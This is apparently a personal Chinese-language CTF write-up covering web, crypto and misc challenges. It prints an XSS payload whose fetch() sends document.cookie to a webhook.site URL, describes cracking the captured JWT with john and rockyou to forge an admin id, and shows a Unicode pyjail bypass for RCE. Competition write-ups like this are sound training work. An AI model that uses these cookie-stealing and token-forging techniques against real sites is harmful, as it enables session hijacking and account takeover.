Before all
Team : CakeisTheFake
Rank : 16/605
突然被CakeisTheFake的隊友們(Aukro, Naup, Curious)抓去打的比賽,這次一如既往地打Crypto和怪題們(但我比較晚開始打qq)。
這場比較沒學到東西(?),但也幫最近都在練習滲透的我複習了一些CTF技巧,不錯XD
想看強者我隊友的完整Write Up可以到:https://hackmd.io/0-vFgIu-RKeuwQ4gdviB4g?both
這邊就只有放我自己的(?)
Write Up
Web
learn HTTP
題目是一個web service,會把使用者丟進去的get參數在後端處理後變封包丟出來:
然後有個/flag
的路徑會去驗證你的cookie,是的話才可以拿到flag。
標準的XSS:
payload
1 | HTTP/1.1 200 OK |
變成URL ENCODE後:
1 | HTTP/1.1%20200%20OK%0D%0A%0D%0A%3Cscript%3Efetch(%22http://webhook.site/c9e321c1-b9d5-4b55-9d10-f1feec26a1d0?shark=%22%2Bdocument.cookie)%3C/script%3E |
在webhook拿到token:
token
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzEwMDM5MjM5fQ.Pd53hD5jGx5GnHGYszpOUK8CjdLN3uUwXITubJrJ_kE |
接著將token丟進pass檔案並利用john
進行暴力破解:
Command
1 | john pass --wordlist=/home/kali/rockyou.txt |
根據觀察原始碼的結果,必須將id改為2
利用jwt.io配合john的結果將token算出來,造訪/flag
的路徑。
拿到flag XD
Crypto
3 spies
source.py
1 | #!/usr/bin/env python3 |
標準的 boardcast attack
直接在sage crt([c1, c2, c3],[n1, n2, n3])
算下去再開三次根號就好
得到urlhttps://pastes.io/1yjswxlvl2
頁面內容:
丟到解碼工具 CyberChef 得到結果是一張圖片檔案,下載後就拿到flagㄌ
flag
Baby’s Message Out
chall.py
1 | #!/usr/bin/env python3 |
簡單觀察, $n$ 會很接近 $ p*[(17*p)*(17*29*p^2)*(17^2*29*p^3+p)]^2 $
丟sage math:
1 | sage: P.<p>=PolynomialRing(Zmod(2**1000)) |
所以 $ p^{13} \fallingdotseq \frac{n}{4933820698627921} $
撰寫腳本取逼近,成功得到$p$的值
1 | sage: ps=int(iroot(n//4933820698627921, 13)[0]) |
按照題目提供的函數算回去q, r, s, t
成功拿到flag :D
Security++
其實就是典型的Prepend Oracle…,但不知道為什麼做出來的人那麼少(
secure.py
1 | from flag import flag, key |
enc.py
1 | from copy import copy |
簡單來說,每16 BYTES一個塊,然後會把FLAG丟到你給的訊息最後面再加密,那不就是 Prepend Oracle 🫠
solution.py
1 | from pwn import * |
搞定XD
Miscellaneous
b4by_jail
jail.py
1 | #!/usr/local/bin/python |
直接找UNICODE字元繞過檢查但是python還是會執行XD
payload
1 | 𝑓𝑙𝑎𝘨 |
後續:
1 | def attack(x): |
透過這個去做RCE XD
TooRandom
main.py
1 | from flask import Flask |
觀察結構,大概就是你會拿到624個數字,然後你要推出一開始的種子算出來的第1000000個數字是什麼。
此外,這題是以instance的方式出現,也就是說每個隊伍各自獨立的網站而且可以自由開啟和關閉。馬上開啟後叫隊友不要打最重要
為什麼這樣說呢?因為有個Curious那時候跟我同時在打,場面一度尷尬極了(
解法的話因為624個數字(還都是32 bits,超佛心),剛好就直接MT-19937的crack就好。
腳本:
1 | import requests as req |
附上很傷眼睛的登入結果
恩…我睡前就看著這東西(